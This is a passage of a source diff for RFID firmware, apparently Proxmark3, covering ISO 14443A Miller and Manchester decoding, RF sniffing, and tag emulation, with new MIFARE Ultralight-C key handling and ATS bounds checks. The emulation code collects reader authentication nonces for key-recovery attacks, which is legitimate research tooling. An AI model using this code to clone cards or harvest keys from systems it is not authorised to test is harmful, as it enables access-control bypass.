Uart.parityBits <<= 1; // make room for the parity bit @@ -371,27 +457,36 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) { } } } else { + if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) { // Modulation second half = Sequence X = logic "1" + Uart.bitCount++; Uart.shiftReg = (Uart.shiftReg >> 1) | 0x100; // add a 1 to the shiftreg Uart.state = STATE_14A_MILLER_X; Uart.endTime = Uart.startTime + 8 * (9 * Uart.len + Uart.bitCount + 1) - 2; + if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity) + Uart.output[Uart.len++] = (Uart.shiftReg & 0xff); Uart.parityBits <<= 1; // make room for the new parity bit Uart.parityBits |= ((Uart.shiftReg >> 8) & 0x01); // store parity bit Uart.bitCount = 0; Uart.shiftReg = 0; + if ((Uart.len & 0x0007) == 0) { // every 8 data bytes Uart.parity[Uart.parityLen++] = Uart.parityBits; // store 8 parity bits Uart.parityBits = 0; } } + } else { // no modulation in both halves - Sequence Y + if (Uart.state == STATE_14A_MILLER_Z || Uart.state == STATE_14A_MILLER_Y) { // Y after logic "0" - End of Communication + Uart.state = STATE_14A_UNSYNCD; Uart.bitCount--; // last "0" was part of EOC sequence Uart.shiftReg <<= 1; // drop it + if (Uart.bitCount > 0) { // if we decoded some bits Uart.shiftReg >>= (9 - Uart.bitCount); // right align them Uart.output[Uart.len++] = (Uart.shiftReg & 0xff); // add last byte to the output @@ -399,10 +494,13 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) { Uart.parityBits <<= (8 - (Uart.len & 0x0007)); // left align parity bits Uart.parity[Uart.parityLen++] = Uart.parityBits; // and store it return true; - } else if (Uart.len & 0x0007) { // there are some parity bits to store + } + + if (Uart.len & 0x0007) { // there are some parity bits to store Uart.parityBits <<= (8 - (Uart.len & 0x0007)); // left align remaining parity bits Uart.parity[Uart.parityLen++] = Uart.parityBits; // and store them } + if (Uart.len) { return true; // we are finished with decoding the raw data sequence } else { @@ -410,18 +508,24 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) { return false; } } + if (Uart.state == STATE_14A_START_OF_COMMUNICATION) { // error - must not follow directly after SOC Uart14aReset(); } else { // a logic "0" + Uart.bitCount++; - Uart.shiftReg = (Uart.shiftReg >> 1); // add a 0 to the shiftreg + Uart.shiftReg >>= 1; // add a 0 to the shiftreg Uart.state = STATE_14A_MILLER_Y; + if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity) + Uart.output[Uart.len++] = (Uart.shiftReg & 0xff); Uart.parityBits <<= 1; // make room for the parity bit Uart.parityBits |= ((Uart.shiftReg >> 8) & 0x01); // store parity bit Uart.bitCount = 0; Uart.shiftReg = 0; + + // Every 8 data bytes, store 8 parity bits into a parity byte if ((Uart.len & 0x0007) == 0) { // every 8 data bytes Uart.parity[Uart.parityLen++] = Uart.parityBits; // store 8 parity bits Uart.parityBits = 0; @@ -466,17 +570,18 @@ tDemod14a *GetDemod14a(void) { } void Demod14aReset(void) { Demod.state = DEMOD_14A_UNSYNCD; - Demod.len = 0; // number of decoded data bytes - Demod.parityLen = 0; - Demod.shiftReg = 0; // shiftreg to hold decoded data bits - Demod.parityBits = 0; // - Demod.collisionPos = 0; // Position of collision bit Demod.twoBits = 0xFFFF; // buffer for 2 Bits Demod.highCnt = 0; + Demod.bitCount = 0; + Demod.collisionPos = 0; // Position of collision bit + Demod.syncBit = 0xFFFF; + Demod.parityBits = 0; + Demod.parityLen = 0; + Demod.shiftReg = 0; // shiftreg to hold decoded data bits + Demod.samples = 0; + Demod.len = 0; // number of decoded data bytes Demod.startTime = 0; Demod.endTime = 0; - Demod.bitCount = 0; - Demod.syncBit = 0xFFFF; Demod.samples = 0; } @@ -491,6 +596,9 @@ void Demod14aInit(uint8_t *d, uint16_t n, uint8_t *par) { RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time) { if (Demod.len == Demod.output_len) { + // Flush last parity bits + Demod.parityBits <<= (8 - (Demod.len & 0x0007)); // left align remaining parity bits + Demod.parity[Demod.parityLen++] = Demod.parityBits; // and store them return true; } @@ -525,7 +633,7 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t if (IsManchesterModulationNibble1(Demod.twoBits >> Demod.syncBit)) { // modulation in first half if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // ... and in second half = collision - if (!Demod.collisionPos) { + if (Demod.collisionPos == 0) { Demod.collisionPos = (Demod.len << 3) + Demod.bitCount; } } // modulation in first half only - Sequence D = 1 @@ -560,9 +668,10 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t } Demod.endTime = Demod.startTime + 8 * (9 * Demod.len + Demod.bitCount + 1); } else { // no modulation in both halves - End of communication + if (Demod.bitCount > 0) { // there are some remaining data bits Demod.shiftReg >>= (9 - Demod.bitCount); // right align the decoded bits - Demod.output[Demod.len++] = Demod.shiftReg & 0xff; // and add them to the output + Demod.output[Demod.len++] = (Demod.shiftReg & 0xff); // and add them to the output Demod.parityBits <<= 1; // add a (void) parity bit Demod.parityBits <<= (8 - (Demod.len & 0x0007)); // left align remaining parity bits Demod.parity[Demod.parityLen++] = Demod.parityBits; // and store them @@ -571,6 +680,7 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t Demod.parityBits <<= (8 - (Demod.len & 0x0007)); // left align remaining parity bits Demod.parity[Demod.parityLen++] = Demod.parityBits; // and store them } + if (Demod.len) { return true; // we are finished with decoding the raw data sequence } else { // nothing received. Start over @@ -587,6 +697,9 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t static RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) { if (Demod.len == Demod.output_len) { + // Flush last parity bits + Demod.parityBits <<= (8 - (Demod.len & 0x0007)); // left align remaining parity bits + Demod.parity[Demod.parityLen++] = Demod.parityBits; // and store them return true; } @@ -595,11 +708,13 @@ static RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) { if (Demod.state == DEMOD_14A_UNSYNCD) { if (Demod.highCnt < 2) { // wait for a stable unmodulated signal + if (Demod.twoBits == 0x0000) { Demod.highCnt++; } else { Demod.highCnt = 0; } + } else { Demod.syncBit = 0xFFFF; // not set if ((Demod.twoBits & 0x7700) == 0x7000) Demod.syncBit = 7; @@ -610,6 +725,7 @@ static RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) { else if ((Demod.twoBits & 0x03B8) == 0x0380) Demod.syncBit = 2; else if ((Demod.twoBits & 0x01DC) == 0x01C0) Demod.syncBit = 1; else if ((Demod.twoBits & 0x00EE) == 0x00E0) Demod.syncBit = 0; + if (Demod.syncBit != 0xFFFF) { Demod.startTime = (GetCountSspClk() & 0xfffffff8); Demod.startTime -= Demod.syncBit; @@ -618,38 +734,47 @@ static RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) { Demod.state = DEMOD_14A_MANCHESTER_DATA; } } + } else { if (IsManchesterModulationNibble1(Demod.twoBits >> Demod.syncBit)) { // modulation in first half + if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // ... and in second half = collision - if (!Demod.collisionPos) { + if (Demod.collisionPos == 0) { Demod.collisionPos = (Demod.len << 3) + Demod.bitCount; } } // modulation in first half only - Sequence D = 1 Demod.bitCount++; Demod.shiftReg = (Demod.shiftReg << 1) | 0x1; // in both cases, add a 1 to the shiftreg + if (Demod.bitCount == 8) { // if we decoded a full byte - Demod.output[Demod.len++] = (Demod.shiftReg & 0xff); + Demod.output[Demod.len++] = (Demod.shiftReg & 0xFF); Demod.bitCount = 0; Demod.shiftReg = 0; } + Demod.endTime = Demod.startTime + 8 * (8 * Demod.len + Demod.bitCount + 1) - 4; + } else { // no modulation in first half + if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // and modulation in second half = Sequence E = 0 Demod.bitCount++; Demod.shiftReg = (Demod.shiftReg << 1); // add a 0 to the shiftreg if (Demod.bitCount >= 8) { // if we decoded a full byte - Demod.output[Demod.len++] = (Demod.shiftReg & 0xff); + Demod.output[Demod.len++] = (Demod.shiftReg & 0xFF); Demod.bitCount = 0; Demod.shiftReg = 0; } Demod.endTime = Demod.startTime + 8 * (8 * Demod.len + Demod.bitCount + 1); + } else { // no modulation in both halves - End of communication - if (Demod.bitCount > 0) { // there are some remaining data bits + + if (Demod.bitCount) { // there are some remaining data bits Demod.shiftReg <<= (8 - Demod.bitCount); // left align the decoded bits - Demod.output[Demod.len++] = Demod.shiftReg & 0xff; // and add them to the output + Demod.output[Demod.len++] = Demod.shiftReg & 0xFF; // and add them to the output return true; } + if (Demod.len) { return true; // we are finished with decoding the raw data sequence } else { // nothing received. Start over @@ -683,16 +808,15 @@ void RAMFUNC SniffIso14443a(uint8_t param) { // free all previous allocations first BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(true); // The command (reader -> tag) that we're receiving. - uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE); - uint8_t *receivedCmdPar = BigBuf_malloc(MAX_PARITY_SIZE); + uint8_t *receivedCmd = BigBuf_calloc(MAX_FRAME_SIZE); + uint8_t *receivedCmdPar = BigBuf_calloc(MAX_PARITY_SIZE); // The response (tag -> reader) that we're receiving. - uint8_t *receivedResp = BigBuf_malloc(MAX_FRAME_SIZE); - uint8_t *receivedRespPar = BigBuf_malloc(MAX_PARITY_SIZE); + uint8_t *receivedResp = BigBuf_calloc(MAX_FRAME_SIZE); + uint8_t *receivedRespPar = BigBuf_calloc(MAX_PARITY_SIZE); uint8_t previous_data = 0; int maxDataLen = 0, dataLen; @@ -734,10 +858,11 @@ void RAMFUNC SniffIso14443a(uint8_t param) { register int readBufDataP = data - dma->buf; register int dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR; - if (readBufDataP <= dmaBufDataP) + if (readBufDataP <= dmaBufDataP) { dataLen = dmaBufDataP - readBufDataP; - else + } else { dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP; + } // test for length of buffer if (dataLen > maxDataLen) { @@ -747,16 +872,18 @@ void RAMFUNC SniffIso14443a(uint8_t param) { break; } } - if (dataLen < 1) continue; + if (dataLen < 1) { + continue; + } // primary buffer was stopped( <-- we lost data! - if (!AT91C_BASE_PDC_SSC->PDC_RCR) { + if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) { AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dma->buf; AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary } // secondary buffer sets as primary, secondary buffer was stopped - if (!AT91C_BASE_PDC_SSC->PDC_RNCR) { + if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) { AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dma->buf; AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; } @@ -766,13 +893,18 @@ void RAMFUNC SniffIso14443a(uint8_t param) { // Need two samples to feed Miller and Manchester-Decoder if (rx_samples & 0x01) { - if (TagIsActive == false) { // no need to try decoding reader data if the tag is sending + // no need to try decoding reader data if the tag is sending + if (TagIsActive == false) { + uint8_t readerdata = (previous_data & 0xF0) | (*data >> 4); + if (MillerDecoding(readerdata, (rx_samples - 1) * 4)) { LED_C_ON(); // check - if there is a short 7bit request from reader - if ((!triggered) && (param & 0x02) && (Uart.len == 1) && (Uart.bitCount == 7)) triggered = true; + if ((!triggered) && (param & 0x02) && (Uart.len == 1) && (Uart.bitCount == 7)) { + triggered = true; + } if (triggered) { if (!LogTrace(receivedCmd, @@ -780,12 +912,14 @@ void RAMFUNC SniffIso14443a(uint8_t param) { Uart.startTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER, Uart.endTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER, Uart.parity, - true)) break; + true)) { + break; + } } - /* ready to receive another command. */ + // ready to receive another command Uart14aReset(); - /* reset the demod code, which might have been */ - /* false-triggered by the commands from the reader. */ + // reset the demod code, which might have been + // false-triggered by the commands from the reader Demod14aReset(); LED_B_OFF(); } @@ -794,8 +928,11 @@ void RAMFUNC SniffIso14443a(uint8_t param) { // no need to try decoding tag data if the reader is sending - and we cannot afford the time if (ReaderIsActive == false) { + uint8_t tagdata = (previous_data << 4) | (*data & 0x0F); + if (ManchesterDecoding(tagdata, 0, (rx_samples - 1) * 4)) { + LED_B_ON(); if (!LogTrace(receivedResp, @@ -805,7 +942,9 @@ void RAMFUNC SniffIso14443a(uint8_t param) { Demod.parity, false)) break; - if ((!triggered) && (param & 0x01)) triggered = true; + if ((!triggered) && (param & 0x01)) { + triggered = true; + } // ready to receive another response. Demod14aReset(); @@ -970,16 +1109,18 @@ bool GetIso14443aCommandFromReader(uint8_t *received, uint16_t received_maxlen, // ever 3 * 4000, check if we got any data from client // takes long time, usually messes with simualtion if (flip == 3) { - if (data_available()) + if (data_available()) { return false; + } flip = 0; } // button press, takes a bit time, might mess with simualtion if (checker-- == 0) { - if (BUTTON_PRESS()) + if (BUTTON_PRESS()) { return false; + } flip++; checker = 4000; @@ -1016,6 +1157,7 @@ bool prepare_tag_modulation(tag_response_info_t *response_info, size_t max_buffe if (ts->max > max_buffer_size) { Dbprintf("ToSend buffer, Out-of-bound, when modulating bits for tag answer:"); Dbhexdump(response_info->response_n, response_info->response, false); + Dbprintf("Need %i, got %i", ts->max, max_buffer_size); return false; } @@ -1046,8 +1188,24 @@ bool prepare_allocated_tag_modulation(tag_response_info_t *response_info, uint8_ } } -bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_response_info_t **responses, - uint32_t *cuid, uint32_t counters[3], uint8_t tearings[3], uint8_t *pages) { +static void Simulate_reread_ulc_key(uint8_t *ulc_key) { + // copy UL-C key from emulator memory + + mfu_dump_t *mfu_header = (mfu_dump_t *) BigBuf_get_EM_addr(); + + memcpy(ulc_key, mfu_header->data + (0x2D * 4), 4); + memcpy(ulc_key + 4, mfu_header->data + (0x2C * 4), 4); + memcpy(ulc_key + 8, mfu_header->data + (0x2F * 4), 4); + memcpy(ulc_key + 12, mfu_header->data + (0x2E * 4), 4); + + reverse_array(ulc_key, 4); + reverse_array(ulc_key + 4, 4); + reverse_array(ulc_key + 8, 4); + reverse_array(ulc_key + 12, 4); +} +bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, + uint8_t *ats, size_t ats_len, tag_response_info_t **responses, + uint32_t *cuid, uint8_t *pages, uint8_t *ulc_key) { uint8_t sak = 0; // The first response contains the ATQA (note: bytes are transmitted in reverse order). static uint8_t rATQA[2] = { 0x00 }; @@ -1068,9 +1226,9 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_r // TA(1) = 0x80: different divisors not supported, DR = 1, DS = 1 // TB(1) = not present. Defaults: FWI = 4 (FWT = 256 * 16 * 2^4 * 1/fc = 4833us), SFGI = 0 (SFG = 256 * 16 * 2^0 * 1/fc = 302us) // TC(1) = 0x02: CID supported, NAD not supported -// static uint8_t rRATS[] = { 0x04, 0x58, 0x80, 0x02, 0x00, 0x00 }; - static uint8_t rRATS[40] = { 0x05, 0x75, 0x80, 0x60, 0x02, 0x00, 0x00, 0x00 }; - uint8_t rRATS_len = 8; +// static uint8_t rATS[] = { 0x04, 0x58, 0x80, 0x02, 0x00, 0x00 }; + static uint8_t rATS[40] = { 0x06, 0x75, 0x80, 0x60, 0x02, 0x00, 0x00, 0x00 }; + uint8_t rATS_len = 8; // GET_VERSION response for EV1/NTAG static uint8_t rVERSION[10] = { 0x00 }; @@ -1094,14 +1252,11 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_r mfu_dump_t *mfu_header = (mfu_dump_t *) BigBuf_get_EM_addr(); *pages = MAX(mfu_header->pages, 15); - // counters and tearing flags + // tearing flags // for old dumps with all zero headers, we need to set default values. for (uint8_t i = 0; i < 3; i++) { - - counters[i] = le24toh(mfu_header->counter_tearing[i]); - - if (mfu_header->counter_tearing[i][3] != 0x00) { - tearings[i] = mfu_header->counter_tearing[i][3]; + if (mfu_header->counter_tearing[i][3] == 0x00) { + mfu_header->counter_tearing[i][3] = 0xBD; } } @@ -1122,8 +1277,8 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_r rATQA[0] = 0x44; rATQA[1] = 0x03; sak = 0x20; - memcpy(rRATS, "\x06\x75\x77\x81\x02\x80\x00\x00", 8); - rRATS_len = 8; + memcpy(rATS, "\x06\x75\x77\x81\x02\x80\x00\x00", 8); + rATS_len = 8; // including CRC break; } case 4: { // ISO/IEC 14443-4 - javacard (JCOP) @@ -1149,14 +1304,11 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_r mfu_dump_t *mfu_header = (mfu_dump_t *) BigBuf_get_EM_addr(); *pages = MAX(mfu_header->pages, 19); - // counters and tearing flags + // tearing flags // for old dumps with all zero headers, we need to set default values. for (uint8_t i = 0; i < 3; i++) { - - counters[i] = le24toh(mfu_header->counter_tearing[i]); - - if (mfu_header->counter_tearing[i][3] != 0x00) { - tearings[i] = mfu_header->counter_tearing[i][3]; + if (mfu_header->counter_tearing[i][3] == 0x00) { + mfu_header->counter_tearing[i][3] = 0xBD; } } @@ -1192,8 +1344,8 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_r } case 11: { // ISO/IEC 14443-4 - javacard (JCOP) / EMV - memcpy(rRATS, "\x13\x78\x80\x72\x02\x80\x31\x80\x66\xb1\x84\x0c\x01\x6e\x01\x83\x00\x90\x00", 19); - rRATS_len = 19; + memcpy(rATS, "\x13\x78\x80\x72\x02\x80\x31\x80\x66\xb1\x84\x0c\x01\x6e\x01\x83\x00\x90\x00\x00\x00", 21); + rATS_len = 21; // including CRC rATQA[0] = 0x04; sak = 0x20; break; @@ -1203,28 +1355,77 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_r sak = 0x20; break; } + case 13: { // MIFARE Ultralight-C + + rATQA[0] = 0x44; + sak = 0x00; + + // some first pages of UL/NTAG dump is special data + mfu_dump_t *mfu_header = (mfu_dump_t *) BigBuf_get_EM_addr(); + *pages = MAX(mfu_header->pages, 47); + + // copy UL-C key from emulator memory + memcpy(ulc_key, mfu_header->data + (0x2D * 4), 4); + memcpy(ulc_key + 4, mfu_header->data + (0x2C * 4), 4); + memcpy(ulc_key + 8, mfu_header->data + (0x2F * 4), 4); + memcpy(ulc_key + 12, mfu_header->data + (0x2E * 4), 4); + + reverse_array(ulc_key, 4); + reverse_array(ulc_key + 4, 4); + reverse_array(ulc_key + 8, 4); + reverse_array(ulc_key + 12, 4); + + /* + Dbprintf("UL-C Pages....... %u ( 47 )", *pages); + DbpString("UL-C 3des key... "); + Dbhexdump(16, ulc_key, false); + */ + + if (IS_FLAG_UID_IN_DATA(flags, 7)) { + DbpString("UL-C UID........ "); + Dbhexdump(7, data, false); + } + break; + } default: { if (g_dbglevel >= DBG_ERROR) Dbprintf("Error: unknown tagtype (%d)", tagType); return false; } } + // copy the ats if supplied. + // ats is a pointer to 20 byte array + // rATS is a 40 byte array + if ((flags & FLAG_ATS_IN_DATA) == FLAG_ATS_IN_DATA) { + // Even if RATS protocol defined as max 40 bytes doesn't mean people try stuff. Check for overflow before copy + if (ats_len + 2 > sizeof(rATS)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("[-] ERROR: ATS overflow. Max %zu, got %zu", sizeof(rATS) - 2, ats_len); + return false; + } + memcpy(rATS, ats, ats_len); + rATS_len = ats_len + 2; + // ATS length (without CRC) is supposed to match its first byte TL + if (ats_len != ats[0]) { + if (g_dbglevel >= DBG_INFO) Dbprintf("[-] WARNING: actual ATS length (%zu) differs from its TL value (%u).", ats_len, ats[0]); + } + } + // if uid not supplied then get from emulator memory - if ((memcmp(data, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 10) == 0) || ((flags & FLAG_UID_IN_EMUL) == FLAG_UID_IN_EMUL)) { - if (tagType == 2 || tagType == 7) { + if ((memcmp(data, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 10) == 0) || IS_FLAG_UID_IN_EMUL(flags)) { + if (tagType == 2 || tagType == 7 || tagType == 13) { uint16_t start = MFU_DUMP_PREFIX_LENGTH; uint8_t emdata[8]; emlGet(emdata, start, sizeof(emdata)); memcpy(data, emdata, 3); // uid bytes 0-2 memcpy(data + 3, emdata + 4, 4); // uid bytes 3-7 - flags |= FLAG_7B_UID_IN_DATA; + FLAG_SET_UID_IN_DATA(flags, 7); } else { emlGet(data, 0, 4); - flags |= FLAG_4B_UID_IN_DATA; + FLAG_SET_UID_IN_DATA(flags, 4); } } - if ((flags & FLAG_4B_UID_IN_DATA) == FLAG_4B_UID_IN_DATA) { + if (IS_FLAG_UID_IN_DATA(flags, 4)) { rUIDc1[0] = data[0]; rUIDc1[1] = data[1]; rUIDc1[2] = data[2]; @@ -1243,8 +1444,8 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_r AddCrc14A(rSAKc1, sizeof(rSAKc1) - 2); *cuid = bytes_to_num(data, 4); - } else if ((flags & FLAG_7B_UID_IN_DATA) == FLAG_7B_UID_IN_DATA) { - rUIDc1[0] = 0x88; // Cascade Tag marker + } else if (IS_FLAG_UID_IN_DATA(flags, 7)) { + rUIDc1[0] = MIFARE_SELECT_CT; // Cascade Tag marker rUIDc1[1] = data[0]; rUIDc1[2] = data[1]; rUIDc1[3] = data[2]; @@ -1265,15 +1466,16 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_r AddCrc14A(rSAKc2, sizeof(rSAKc2) - 2); *cuid = bytes_to_num(data + 3, 4); - } else if ((flags & FLAG_10B_UID_IN_DATA) == FLAG_10B_UID_IN_DATA) { - rUIDc1[0] = 0x88; // Cascade Tag marker + } else if (IS_FLAG_UID_IN_DATA(flags, 10)) { + + rUIDc1[0] = MIFARE_SELECT_CT; // Cascade Tag marker rUIDc1[1] = data[0]; rUIDc1[2] = data[1]; rUIDc1[3] = data[2]; rUIDc1[4] = rUIDc1[0] ^ rUIDc1[1] ^ rUIDc1[2] ^ rUIDc1[3]; - rUIDc2[0] = 0x88; // Cascade Tag marker + rUIDc2[0] = MIFARE_SELECT_CT; // Cascade Tag marker rUIDc2[1] = data[3]; rUIDc2[2] = data[4]; rUIDc2[3] = data[5]; @@ -1301,7 +1503,7 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_r return false; } - AddCrc14A(rRATS, rRATS_len - 2); + AddCrc14A(rATS, rATS_len - 2); AddCrc14A(rPPS, sizeof(rPPS) - 2); @@ -1329,7 +1531,7 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_r { .response = rSAKc1, .response_n = sizeof(rSAKc1) }, // Acknowledge select - cascade 1 { .response = rSAKc2, .response_n = sizeof(rSAKc2) }, // Acknowledge select - cascade 2 { .response = rSAKc3, .response_n = sizeof(rSAKc3) }, // Acknowledge select - cascade 3 - { .response = rRATS, .response_n = sizeof(rRATS) }, // dummy ATS (pseudo-ATR), answer to RATS + { .response = rATS, .response_n = sizeof(rATS) }, // dummy ATS (pseudo-ATR), answer to RATS { .response = rVERSION, .response_n = sizeof(rVERSION) }, // EV1/NTAG GET_VERSION response { .response = rSIGN, .response_n = sizeof(rSIGN) }, // EV1/NTAG READ_SIG response { .response = rPPS, .response_n = sizeof(rPPS) }, // PPS response @@ -1337,7 +1539,7 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_r }; // since rats len is variable now. - responses_init[RESP_INDEX_RATS].response_n = rRATS_len; + responses_init[RESP_INDEX_ATS].response_n = rATS_len; // "precompiled" responses. // These exist for speed reasons. There are no time in the anti collision phase to calculate responses. @@ -1350,7 +1552,7 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_r // 85 bytes normally (rats = 8 bytes) // 77 bytes + ratslen, -#define ALLOCATED_TAG_MODULATION_BUFFER_SIZE ( ((77 + rRATS_len) * 8) + 77 + rRATS_len + 12 + 12 + 12) +#define ALLOCATED_TAG_MODULATION_BUFFER_SIZE ( ((77 + rATS_len) * 8) + 77 + rATS_len + 12 + 12 + 12) uint8_t *free_buffer = BigBuf_calloc(ALLOCATED_TAG_MODULATION_BUFFER_SIZE); // modulation buffer pointer and current buffer free space size @@ -1376,15 +1578,19 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_r // response to send, and send it. // 'hf 14a sim' //----------------------------------------------------------------------------- -void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t exitAfterNReads) { +void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *useruid, uint8_t exitAfterNReads, + uint8_t *ats, size_t ats_len, bool ulc_part1, bool ulc_part2) { -#define ATTACK_KEY_COUNT 8 // keep same as define in cmdhfmf.c -> readerAttack() +#define ATTACK_KEY_COUNT 16 +#define ULC_TAG_NONCE "\x01\x02\x03\x04\x05\x06\x07\x08" tag_response_info_t *responses; uint32_t cuid = 0; uint32_t nonce = 0; - uint32_t counters[3] = { 0x00, 0x00, 0x00 }; - uint8_t tearings[3] = { 0xbd, 0xbd, 0xbd }; + /// Ultralight-C 3des2k + uint8_t ulc_key[16] = { 0x00 }; + uint8_t ulc_iv[8] = { 0x00 }; + bool ulc_reread_key = false; uint8_t pages = 0; // Here, we collect CUID, block1, keytype1, NT1, NR1, AR1, CUID, block2, keytyp2, NT2, NR2, AR2 @@ -1410,7 +1616,17 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ #define DYNAMIC_MODULATION_BUFFER_SIZE 512 uint8_t *dynamic_response_buffer = BigBuf_calloc(DYNAMIC_RESPONSE_BUFFER_SIZE); + if (dynamic_response_buffer == NULL) { + BigBuf_free_keep_EM(); + reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EMALLOC, NULL, 0); + return; + } uint8_t *dynamic_modulation_buffer = BigBuf_calloc(DYNAMIC_MODULATION_BUFFER_SIZE); + if (dynamic_modulation_buffer == NULL) { + BigBuf_free_keep_EM(); + reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EMALLOC, NULL, 0); + return; + } tag_response_info_t dynamic_response_info = { .response = dynamic_response_buffer, .response_n = 0, @@ -1418,12 +1634,24 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ .modulation_n = 0 }; - if (SimulateIso14443aInit(tagType, flags, data, &responses, &cuid, counters, tearings, &pages) == false) { + if (SimulateIso14443aInit(tagType, flags, useruid, ats, ats_len + , &responses, &cuid, &pages + , ulc_key) == false) { BigBuf_free_keep_EM(); reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0); return; } + mfu_dump_t *mfu_em_dump = NULL; + if (tagType == 2 || tagType == 7) { + mfu_em_dump = (mfu_dump_t *)BigBuf_get_EM_addr(); + if (!mfu_em_dump) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("[-] ERROR: Failed to get EM address for MFU/NTAG operations."); + reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EMALLOC, NULL, 0); + return; + } + } + // We need to listen to the high-frequency, peak-detected path. iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN); @@ -1496,7 +1724,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ order = ORDER_NONE; // back to work state p_response = NULL; - } else if (order == ORDER_AUTH && len == 8) { + } else if (order == ORDER_AUTH && len == 8 && tagType != 2 && tagType != 7 && tagType != 13) { // Received {nr] and {ar} (part of authentication) LogTrace(receivedCmd, Uart.len, Uart.startTime * 16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime * 16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); uint32_t nr = bytes_to_num(receivedCmd, 4); @@ -1526,7 +1754,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ } } - switch (ar_nr_nonces[index].state) { + switch ((nonce_state)ar_nr_nonces[index].state) { case EMPTY: { // first nonce collect ar_nr_nonces[index].cuid = cuid; @@ -1586,21 +1814,21 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ } else if (receivedCmd[0] == ISO14443A_CMD_READBLOCK && len == 4) { // Received a (plain) READ uint8_t block = receivedCmd[1]; // if Ultralight or NTAG (4 byte blocks) - if (tagType == 7 || tagType == 2) { + if (tagType == 7 || tagType == 2 || tagType == 13) { if (block > pages) { // send NACK 0x0 == invalid argument EmSend4bit(CARD_NACK_IV); } else { // first blocks of emu are header - uint16_t start = block * 4 + MFU_DUMP_PREFIX_LENGTH; - uint8_t emdata[MAX_MIFARE_FRAME_SIZE]; - emlGet(emdata, start, 16); - AddCrc14A(emdata, 16); + uint16_t start = (block * 4) + MFU_DUMP_PREFIX_LENGTH; + uint8_t emdata[MIFARE_BLOCK_SIZE + CRC16_SIZE] = {0}; + emlGet(emdata, start, MIFARE_BLOCK_SIZE); + AddCrc14A(emdata, MIFARE_BLOCK_SIZE); EmSendCmd(emdata, sizeof(emdata)); numReads++; // Increment number of times reader requested a block if (exitAfterNReads > 0 && numReads == exitAfterNReads) { - 